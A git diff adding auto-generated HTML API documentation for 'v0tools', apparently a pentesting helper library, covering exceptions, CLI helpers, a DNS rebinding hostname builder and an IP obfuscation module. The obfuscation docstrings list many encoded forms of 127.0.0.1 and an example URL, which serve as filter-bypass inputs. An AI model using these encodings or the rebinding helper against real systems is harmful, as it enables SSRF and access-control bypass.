+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.Error.html b/docs/public/api/v0tools.Error.html new file mode 100644 index 0000000..6d04f3a --- /dev/null +++ b/docs/public/api/v0tools.Error.html @@ -0,0 +1,66 @@ + + + + + v0tools.Error : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Error(Exception):

Known subclasses: v0tools.BadEnvConfig, v0tools.exceptions.BinaryNotFound, v0tools.exceptions.DirectoryNotExist, v0tools.exceptions.FileExists, v0tools.exceptions.InvalidCliArgument, v0tools.exceptions.InvalidFileExtention, v0tools.exceptions.InvalidIp, v0tools.exceptions.MultiBinaryNotFound, v0tools.exceptions.NoAction

+

View In Hierarchy

+
+ +
+

Base exception class for v0tools.

+
+ +
+ + + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.ansi.Ansi.html b/docs/public/api/v0tools.ansi.Ansi.html new file mode 100644 index 0000000..e677a9f --- /dev/null +++ b/docs/public/api/v0tools.ansi.Ansi.html @@ -0,0 +1,276 @@ + + + + + v0tools.ansi.Ansi : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Ansi:

+

View In Hierarchy

+
+ +
+

Ansi color class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMAGENTALight Magenta.
Class VariableOKBLUELight Blue.
Class VariableOKCYANLight Cyan.
Class VariableOKGREENLight Green.
Class VariableWARNINGLight Yellow.
Class VariableFAILLight Red.
Class VariableENDCEnd Ansi block.
Class VariableBOLDMake value Bold.
Class VariableUNDERLINEMake Value Underline.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MAGENTA = + +
+
+ + +

Light Magenta.

(type: str) +
+
+ + + + + + + +
+ + OKBLUE = + +
+
+ + +

Light Blue.

(type: str) +
+
+ + + + + + + +
+ + OKCYAN = + +
+
+ + +

Light Cyan.

(type: str) +
+
+ + + + + + + +
+ + OKGREEN = + +
+
+ + +

Light Green.

(type: str) +
+
+ + + + + + + +
+ + WARNING = + +
+
+ + +

Light Yellow.

(type: str) +
+
+ + + + + + + +
+ + FAIL = + +
+
+ + +

Light Red.

(type: str) +
+
+ + + + + + + +
+ + ENDC = + +
+
+ + +

End Ansi block.

(type: str) +
+
+ + + + + + + +
+ + BOLD = + +
+
+ + +

Make value Bold.

(type: str) +
+
+ + + + + + + +
+ + UNDERLINE = + +
+
+ + +

Make Value Underline.

(type: str) +
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.ansi.html b/docs/public/api/v0tools.ansi.html new file mode 100644 index 0000000..0406300 --- /dev/null +++ b/docs/public/api/v0tools.ansi.html @@ -0,0 +1,212 @@ + + + + + v0tools.ansi : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Ansi colors.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ClassAnsiAnsi color class.
FunctiongreenReturn Green Ansi string.
FunctionblueReturn Blue Ansi string.
FunctionredReturn Red Ansi String.
FunctionmagentaReturn Header / Light Magenta.
FunctionbannerAnsi Banner in Magenta.
FunctionsectionAnsi Section in Green.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def green(txt): + +
+
+ + +

Return Green Ansi string.

+
+
+ + + + + + + +
+ + def blue(txt): + +
+
+ + +

Return Blue Ansi string.

+
+
+ + + + + + + +
+ + def red(txt): + +
+
+ + +

Return Red Ansi String.

+
+
+ + + + + + + +
+ + def magenta(txt): + +
+
+ + +

Return Header / Light Magenta.

+
+
+ + + + + + + +
+ + def banner(txt): + +
+
+ + +

Ansi Banner in Magenta.

+
+
+ + + + + + + +
+ + def section(txt): + +
+
+ + +

Ansi Section in Green.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.attacks.dnsrebind.html b/docs/public/api/v0tools.attacks.dnsrebind.html new file mode 100644 index 0000000..025536b --- /dev/null +++ b/docs/public/api/v0tools.attacks.dnsrebind.html @@ -0,0 +1,115 @@ + + + + + v0tools.attacks.dnsrebind : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

dns rebinding builder.

+
+ +
+ + + + + + + + + + + + + +
VariableBASEGenerously hosted domain see see: https://lock.cmpxchg8b.com/rebinder.html
Functionget_fqdnGet FQDN for rbndr.us.
+ + + +
+ +
+ +
+ + + + + + + +
+ + BASE = + +
+
+ + +

Generously hosted domain see see: https://lock.cmpxchg8b.com/rebinder.html

(type: str) +
+
+ + + + + + + +
+ + def get_fqdn(normalip, rebindip): + +
+
+ + +

Get FQDN for rbndr.us.

ParametersnormalipUndocumented (type: str)
rebindipUndocumented (type: str)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.attacks.html b/docs/public/api/v0tools.attacks.html new file mode 100644 index 0000000..23a159a --- /dev/null +++ b/docs/public/api/v0tools.attacks.html @@ -0,0 +1,74 @@ + + + + + v0tools.attacks : API documentation + + + + + + + + + +
+ + + +
+ package documentation +
+ +
+ +

+
+ +
+

Module that contains various attacks and attack payloads.

+
+ +
+ + + + + + + + +
Modulednsrebinddns rebinding builder.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.chars.html b/docs/public/api/v0tools.chars.html new file mode 100644 index 0000000..8e84196 --- /dev/null +++ b/docs/public/api/v0tools.chars.html @@ -0,0 +1,156 @@ + + + + + v0tools.chars : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Print / show characters.

+
+ +
+ + + + + + + + + + + + + + + + + + +
VariableASCII_LISTFill in ASCII description values for Unicode names.
VariableASCII_MAPDictionary Map of ASCII_LIST.
Functionunicodesyield all Unicode values.
+ + + +
+ +
+ +
+ + + + + + + +
+ + ASCII_LIST = + +
+
+ + +

Fill in ASCII description values for Unicode names.

(type: list[dict]) +
+
+ + + + + + + +
+ + ASCII_MAP = + +
+
+ + +

Dictionary Map of ASCII_LIST.

+
+
+ + + + + + + +
+ + def unicodes(): + +
+
+ + +

yield all Unicode values.

returns iterator of dictionaries in the following format:

+    {
+        "int": i,
+        "hex": hval,
+        "chr": char,
+        "name": name.lower(),
+        "pref": pref,
+        "htmlent": htmlent
+    }
+

example for letter "a":

+    {
+        "int": 97,
+        "hex": "61",
+        "chr": "a",
+        "name": "latin small letter a",
+        "pref": "\\u0061",
+        "htmlent": "&#97;"
+    }
+
ReturnsUndocumented (type: dict)
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.cli.Cli.html b/docs/public/api/v0tools.cli.Cli.html new file mode 100644 index 0000000..4c0066b --- /dev/null +++ b/docs/public/api/v0tools.cli.Cli.html @@ -0,0 +1,391 @@ + + + + + v0tools.cli.Cli : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class Cli(object):

+

View In Hierarchy

+
+ +
+

Cli Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method__init__Return Cli Object.
Instance VariabledescriptionArgument description.
Instance VariableentrypointFunction entrypoint.
Instance Variablerequired_binariesRequired Binary list.
Instance VariableparserArgumentParser object.
Methodadd_pathDirectory or file path.
Methodadd_ipv_interfaceAdd ipv / interface combo.
Methodadd_portport number, or default random port in range:1025-65535.
Methodset_entrypointSet cli entrypoint value.
Methodset_required_binariesSet required binary list.
MethodchecksRun checks.
Methodrun_nocatchRun without catching exceptions.
MethodrunRun cli program normally.
Methodget_parseParge args.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self, description=None): + +
+
+ + +

Return Cli Object.

+
+
+ + + + + + + +
+ + description = + +
+
+ + +

Argument description.

+
+
+ + + + + + + +
+ + entrypoint = + +
+
+ + +

Function entrypoint.

+
+
+ + + + + + + +
+ + required_binaries = + +
+
+ + +

Required Binary list.

+
+
+ + + + + + + +
+ + parser = + +
+
+ + +

ArgumentParser object.

+
+
+ + + + + + + +
+ + def add_path(self): + +
+
+ + +

Directory or file path.

+
+
+ + + + + + + +
+ + def add_ipv_interface(self): + +
+
+ + +

Add ipv / interface combo.

+
+
+ + + + + + + +
+ + def add_port(self): + +
+
+ + +

port number, or default random port in range:1025-65535.

+
+
+ + + + + + + +
+ + def set_entrypoint(self, function): + +
+
+ + +

Set cli entrypoint value.

ParametersfunctionUndocumented (type: typing.Callable)
+
+
+ + + + + + + +
+ + def set_required_binaries(self, binlist): + +
+
+ + +

Set required binary list.

ParametersbinlistUndocumented (type: typing.List)
+
+
+ + + + + + + +
+ + def checks(self): + +
+
+ + +

Run checks.

+
+
+ + + + + + + +
+ + def run_nocatch(self, args): + +
+
+ + +

Run without catching exceptions.

Useful in unit tests

ParametersargsUndocumented (type: argparse.Namespace)
+
+
+ + + + + + + +
+ + def run(self, args): + +
+
+ + +

Run cli program normally.

ParametersargsUndocumented (type: argparse.Namespace)
+
+
+ + + + + + + +
+ + def get_parse(self, test_arr=None): + +
+
+ + +

Parge args.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.cli.html b/docs/public/api/v0tools.cli.html new file mode 100644 index 0000000..1508a2a --- /dev/null +++ b/docs/public/api/v0tools.cli.html @@ -0,0 +1,74 @@ + + + + + v0tools.cli : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Module that helps manage the CLI commands and documentation.

+
+ +
+ + + + + + + + +
ClassCliCli Class.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.BinaryNotFound.html b/docs/public/api/v0tools.exceptions.BinaryNotFound.html new file mode 100644 index 0000000..7b5d5b8 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.BinaryNotFound.html @@ -0,0 +1,184 @@ + + + + + v0tools.exceptions.BinaryNotFound : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class BinaryNotFound(Error):

+

View In Hierarchy

+
+ +
+

BinaryNotFound Class.

raises when a required binary is not found in the system PATH

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMESSAGEDefault Message for BinaryNotFound.
Method__init__Return BinaryNotFound Object.
Instance Variablebinary_pathBinary that was not found.
Propertysystem_pathsknown paths separated by newlines.
Method__str__String representation of BinaryNotFound.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MESSAGE = + +
+
+ + +

Default Message for BinaryNotFound.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, binary_path): + +
+
+ + +

Return BinaryNotFound Object.

Parametersbinary_pathUndocumented (type: str)
+
+
+ + + + + + + +
+ + binary_path = + +
+
+ + +

Binary that was not found.

+
+
+ + + + + + + +
+ @property
+ system_paths = + +
+
+ + +

known paths separated by newlines.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

String representation of BinaryNotFound.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.DirectoryNotExist.html b/docs/public/api/v0tools.exceptions.DirectoryNotExist.html new file mode 100644 index 0000000..d2ef050 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.DirectoryNotExist.html @@ -0,0 +1,138 @@ + + + + + v0tools.exceptions.DirectoryNotExist : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class DirectoryNotExist(Error):

+

View In Hierarchy

+
+ +
+

DirectoryNotExist Class.

+
+ +
+ + + + + + + + + + + + + + + + + + +
Method__init__Return DirectoryNotExist Object.
Instance VariabledirectoryDirectory that doesn't exist.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self, directory): + +
+
+ + +

Return DirectoryNotExist Object.

ParametersdirectoryUndocumented (type: str)
+
+
+ + + + + + + +
+ + directory = + +
+
+ + +

Directory that doesn't exist.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.FileExists.html b/docs/public/api/v0tools.exceptions.FileExists.html new file mode 100644 index 0000000..32fcc77 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.FileExists.html @@ -0,0 +1,184 @@ + + + + + v0tools.exceptions.FileExists : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class FileExists(Error):

+

View In Hierarchy

+
+ +
+

FileExists Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault message for FileExists.
Method__init__Return FileExists Object.
Instance VariablefileFile in question.
Instance VariablemsgPassed message.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default message for FileExists.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, file, msg=''): + +
+
+ + +

Return FileExists Object.

ParametersfileUndocumented (type: str)
msgUndocumented
+
+
+ + + + + + + +
+ + file = + +
+
+ + +

File in question.

+
+
+ + + + + + + +
+ + msg = + +
+
+ + +

Passed message.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.InvalidCliArgument.html b/docs/public/api/v0tools.exceptions.InvalidCliArgument.html new file mode 100644 index 0000000..7735b6e --- /dev/null +++ b/docs/public/api/v0tools.exceptions.InvalidCliArgument.html @@ -0,0 +1,184 @@ + + + + + v0tools.exceptions.InvalidCliArgument : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class InvalidCliArgument(Error):

+

View In Hierarchy

+
+ +
+

InvalidCliArgument Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault message for InvalidCliArgument.
Method__init__Return InvalidCliArgument Object.
Instance VariableargumentArgument having issues.
Instance VariablemsgPassed message.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default message for InvalidCliArgument.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, argument, msg=''): + +
+
+ + +

Return InvalidCliArgument Object.

ParametersargumentUndocumented (type: str)
msgUndocumented
+
+
+ + + + + + + +
+ + argument = + +
+
+ + +

Argument having issues.

+
+
+ + + + + + + +
+ + msg = + +
+
+ + +

Passed message.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.InvalidFileExtention.html b/docs/public/api/v0tools.exceptions.InvalidFileExtention.html new file mode 100644 index 0000000..c6bffe8 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.InvalidFileExtention.html @@ -0,0 +1,184 @@ + + + + + v0tools.exceptions.InvalidFileExtention : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class InvalidFileExtention(Error):

+

View In Hierarchy

+
+ +
+

File has an invalid extension.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault message for InvalidFileExtention.
Method__init__Return InvalidFileExtention Object.
Instance Variablepassed_fnFilename.
Instance Variablevalid_extList of valid extensions.
Method__str__String representation of InvalidFileExtention.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default message for InvalidFileExtention.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, passed_fn, valid_ext): + +
+
+ + +

Return InvalidFileExtention Object.

Parameterspassed_fnUndocumented (type: str)
valid_extUndocumented (type: List)
+
+
+ + + + + + + +
+ + passed_fn = + +
+
+ + +

Filename.

+
+
+ + + + + + + +
+ + valid_ext = + +
+
+ + +

List of valid extensions.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

String representation of InvalidFileExtention.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.InvalidIp.html b/docs/public/api/v0tools.exceptions.InvalidIp.html new file mode 100644 index 0000000..710fac0 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.InvalidIp.html @@ -0,0 +1,161 @@ + + + + + v0tools.exceptions.InvalidIp : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class InvalidIp(Error):

+

View In Hierarchy

+
+ +
+

InvalidIp Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault message for InvalidIp.
Method__init__Return InvalidIp Object.
Instance VariableipThe Invalid IP Address.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default message for InvalidIp.

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, ip): + +
+
+ + +

Return InvalidIp Object.

ParametersipUndocumented (type: str)
+
+
+ + + + + + + +
+ + ip = + +
+
+ + +

The Invalid IP Address.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.MultiBinaryNotFound.html b/docs/public/api/v0tools.exceptions.MultiBinaryNotFound.html new file mode 100644 index 0000000..b8a9a96 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.MultiBinaryNotFound.html @@ -0,0 +1,138 @@ + + + + + v0tools.exceptions.MultiBinaryNotFound : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class MultiBinaryNotFound(Error):

+

View In Hierarchy

+
+ +
+

Multiple Binaries not found.

This exception throws on group check of binaries

+
+ +
+ + + + + + + + + + + + + + + + + + +
Method__init__Return BinaryNotFound Object.
Instance VariablebinsList of missing binaries.
Method__str__String representation of MultiBinaryNotFound.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def __init__(self, missing_bins): + +
+
+ + +

Return BinaryNotFound Object.

Parametersmissing_binsUndocumented (type: List)
+
+
+ + + + + + + +
+ + bins = + +
+
+ + +

List of missing binaries.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

String representation of MultiBinaryNotFound.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.NoAction.html b/docs/public/api/v0tools.exceptions.NoAction.html new file mode 100644 index 0000000..deef5f6 --- /dev/null +++ b/docs/public/api/v0tools.exceptions.NoAction.html @@ -0,0 +1,161 @@ + + + + + v0tools.exceptions.NoAction : API documentation + + + + + + + + + +
+ + + +
+ class documentation +
+ +
+

class NoAction(Error):

+

View In Hierarchy

+
+ +
+

NoAction Class.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
Class VariableMSGDefault Message for NoAction
Method__init__Return NoAction Object.
Instance VariablemessagePassed message.
Method__str__Returns exception message.
+ + + +
+ +
+ +
+ + + + + + + +
+ + MSG = + +
+
+ + +

Default Message for NoAction

(type: str) +
+
+ + + + + + + +
+ + def __init__(self, message): + +
+
+ + +

Return NoAction Object.

+
+
+ + + + + + + +
+ + message = + +
+
+ + +

Passed message.

+
+
+ + + + + + + +
+ + def __str__(self): + +
+
+ + +

Returns exception message.

+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.exceptions.html b/docs/public/api/v0tools.exceptions.html new file mode 100644 index 0000000..7d06e1a --- /dev/null +++ b/docs/public/api/v0tools.exceptions.html @@ -0,0 +1,109 @@ + + + + + v0tools.exceptions : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Exception classes for v0tools.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ClassBinaryNotFoundBinaryNotFound Class.
ClassMultiBinaryNotFoundMultiple Binaries not found.
ClassInvalidCliArgumentInvalidCliArgument Class.
ClassDirectoryNotExistDirectoryNotExist Class.
ClassFileExistsFileExists Class.
ClassNoActionNoAction Class.
ClassInvalidFileExtentionFile has an invalid extension.
ClassInvalidIpInvalidIp Class.
+ + + +
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.fzfhelper.html b/docs/public/api/v0tools.fzfhelper.html new file mode 100644 index 0000000..c91123e --- /dev/null +++ b/docs/public/api/v0tools.fzfhelper.html @@ -0,0 +1,92 @@ + + + + + v0tools.fzfhelper : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

FZF helpers that are routinely called.

+
+ +
+ + + + + + + + +
Functionnetwork_interfacesReturns ipversion, interface, address tuple.
+ + + +
+ +
+ +
+ + + + + + + +
+ + def network_interfaces(): + +
+
+ + +

Returns ipversion, interface, address tuple.

ReturnsUndocumented (type: Tuple[str, str, str])
+
+
+ +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.html b/docs/public/api/v0tools.html new file mode 100644 index 0000000..bb3bda6 --- /dev/null +++ b/docs/public/api/v0tools.html @@ -0,0 +1,162 @@ + + + + + v0tools : API documentation + + + + + + + + + +
+ + + +
+ package documentation +
+ +
+ +

+
+ +
+

Welcome to the v0tools python module.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ModuleansiAnsi colors.
PackageattacksModule that contains various attacks and attack payloads.
ModulecharsPrint / show characters.
ModulecliModule that helps manage the CLI commands and documentation.
ModuleexceptionsException classes for v0tools.
ModulefzfhelperFZF helpers that are routinely called.
ModuleipsIp URL obfs script.
PackagelibHelper libs for various operations.
PackagemediaModule that contains working with media such as screencasts and documents.
ModulemsfMetaspoit Framework Related methods.
ModulenetNetwork Related Functions.
PackageserversServers Modules.
ModulesyspkgsSystem Packing Information.
ModuletestsUnit test helpers.
ModulewebHTB.
+ + +

From the __init__.py module:

+ + + + + + + + + + + + + + + + + +
ClassBadEnvConfigBadEnvConfig Class.
ClassConfigConfig Environment Variables.
ClassErrorBase exception class for v0tools.
+
+ +
+ + + +
+
+ API Documentation for v0tools, generated by pydoctor 21.2.2 at 1996-06-17 15:00:00. +
+ +
+ + + + + \ No newline at end of file diff --git a/docs/public/api/v0tools.ips.html b/docs/public/api/v0tools.ips.html new file mode 100644 index 0000000..de2e27e --- /dev/null +++ b/docs/public/api/v0tools.ips.html @@ -0,0 +1,445 @@ + + + + + v0tools.ips : API documentation + + + + + + + + + +
+ + + +
+ module documentation +
+ +
+ +

+
+ +
+

Ip URL obfs script.

+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
VariableFUNKY_PERIODA period, but not a period.
VariableBUBBLE_MAPDictionary of bubble map values {'1': '①', '2': '②', ...}
Functionall_ip_encodingsShow all variations of different ip obsfucation types.
Functionget_urlscode: :: print(get_urls("216.58.194.196"))
+ + + +
+ +
+ +
+ + + + + + + +
+ + FUNKY_PERIOD = + +
+
+ + +

A period, but not a period.

+
+
+ + + + + + + +
+ + BUBBLE_MAP = + +
+
+ + +

Dictionary of bubble map values {'1': '①', '2': '②', ...}

+
+
+ + + + + + + +
+ + def all_ip_encodings(ip): + +
+
+ + +

Show all variations of different ip obsfucation types.

code: :

+    import json
+    res = all_ip_encodings("127.0.0.1")
+    print(json.dumps(res, indent=4, separators=(",", " : ")))
+

output: :

+    {
+        "base" : [
+            "127.0.0.1",
+            "0x7f000001",
+            "2130706433",
+            "017700000001",
+            "\u2460\u2461\u2466\uff0e\u24ea\uff0e\u24ea\uff0e\u2460",
+            "%31%32%37%2e%30%2e%30%2e%31"
+        ],
+        "int" : [
+            "127.1",
+            "127.0.1",
+            "127.0.0.1"
+        ],
+        "hex" : [
+            "0x7f.0x000001",
+            "0x7f.0x00.0x0001",
+            "0x7f.0x00.0x00.0x01"
+        ],
+        "oct" : [
+            "0177.01",
+            "0177.00.01",
+            "0177.00.00.01"
+        ],
+        "mix" : [
+            "127.1",
+            "127.0x000001",
+            "127.01",
+            "0x7f.1",
+            "0x7f.0x000001",
+            "0x7f.01",
+            "0177.1",
+            "0177.0x000001",
+            "0177.01",
+            "127.0.1",
+            "127.0.0x0001",
+            "127.0.01",
+            "127.0x00.1",
+            "127.0x00.0x0001",
+            "127.0x00.01",
+            "127.00.1",
+            "127.00.0x0001",
+            "127.00.01",
+            "0x7f.0.1",
+            "0x7f.0.0x0001",
+            "0x7f.0.01",
+            "0x7f.0x00.1",
+            "0x7f.0x00.0x0001",
+            "0x7f.0x00.01",
+            "0x7f.00.1",
+            "0x7f.00.0x0001",
+            "0x7f.00.01",
+            "0177.0.1",
+            "0177.0.0x0001",
+            "0177.0.01",
+            "0177.0x00.1",
+            "0177.0x00.0x0001",
+            "0177.0x00.01",
+            "0177.00.1",
+            "0177.00.0x0001",
+            "0177.00.01",
+            "127.0.0.1",
+            "127.0.0.0x01",
+            "127.0.0.01",
+            "127.0.0x00.1",
+            "127.0.0x00.0x01",
+            "127.0.0x00.01",
+            "127.0.00.1",
+            "127.0.00.0x01",
+            "127.0.00.01",
+            "127.0x00.0.1",
+            "127.0x00.0.0x01",
+            "127.0x00.0.01",
+            "127.0x00.0x00.1",
+            "127.0x00.0x00.0x01",
+            "127.0x00.0x00.01",
+            "127.0x00.00.1",
+            "127.0x00.00.0x01",
+            "127.0x00.00.01",
+            "127.00.0.1",
+            "127.00.0.0x01",
+            "127.00.0.01",
+            "127.00.0x00.1",
+            "127.00.0x00.0x01",
+            "127.00.0x00.01",
+            "127.00.00.1",
+            "127.00.00.0x01",
+            "127.00.00.01",
+            "0x7f.0.0.1",
+            "0x7f.0.0.0x01",
+            "0x7f.0.0.01",
+            "0x7f.0.0x00.1",
+            "0x7f.0.0x00.0x01",
+            "0x7f.0.0x00.01",
+            "0x7f.0.00.1",
+            "0x7f.0.00.0x01",
+            "0x7f.0.00.01",
+            "0x7f.0x00.0.1",
+            "0x7f.0x00.0.0x01",
+            "0x7f.0x00.0.01",
+            "0x7f.0x00.0x00.1",
+            "0x7f.0x00.0x00.0x01",
+            "0x7f.0x00.0x00.01",
+            "0x7f.0x00.00.1",
+            "0x7f.0x00.00.0x01",
+            "0x7f.0x00.00.01",
+            "0x7f.00.0.1",
+            "0x7f.00.0.0x01",
+            "0x7f.00.0.01",
+            "0x7f.00.0x00.1",
+            "0x7f.00.0x00.0x01",
+            "0x7f.00.0x00.01",
+            "0x7f.00.00.1",
+            "0x7f.00.00.0x01",
+            "0x7f.00.00.01",
+            "0177.0.0.1",
+            "0177.0.0.0x01",
+            "0177.0.0.01",
+            "0177.0.0x00.1",
+            "0177.0.0x00.0x01",
+            "0177.0.0x00.01",
+            "0177.0.00.1",
+            "0177.0.00.0x01",
+            "0177.0.00.01",
+            "0177.0x00.0.1",
+            "0177.0x00.0.0x01",
+            "0177.0x00.0.01",
+            "0177.0x00.0x00.1",
+            "0177.0x00.0x00.0x01",
+            "0177.0x00.0x00.01",
+            "0177.0x00.00.1",
+            "0177.0x00.00.0x01",
+            "0177.0x00.00.01",
+            "0177.00.0.1",
+            "0177.00.0.0x01",
+            "0177.00.0.01",
+            "0177.00.0x00.1",
+            "0177.00.0x00.0x01",
+            "0177.00.0x00.01",
+            "0177.00.00.1",
+            "0177.00.00.0x01",
+            "0177.00.00.01"
+        ]
+    }
+
+
+
+ + + + + + + +
+ + def get_urls(ip): + +
+
+ + +

code: :

+    print(get_urls("216.58.194.196"))
+

output: :

+    base http://216.58.194.196
+    base http://0xd83ac2c4
+    base http://3627729604
+    base http://033016541304
+    base http://②①⑥.⑤⑧.①⑨④.①⑨⑥
+    base http://%32%31%36%2e%35%38%2e%31%39%34%2e%31%39%36
+    int http://216.3850948
+    int http://216.58.49860
+    int http://216.58.194.196
+    hex http://0xd8.0x3ac2c4
+    hex http://0xd8.0x3a.0xc2c4
+    hex http://0xd8.0x3a.0xc2.0xc4
+    oct http://0330.016541304
+    oct http://0330.072.0141304
+    oct http://0330.072.0302.0304
+    mix http://216.3850948
+    mix http://216.0x3ac2c4
+    mix http://216.016541304
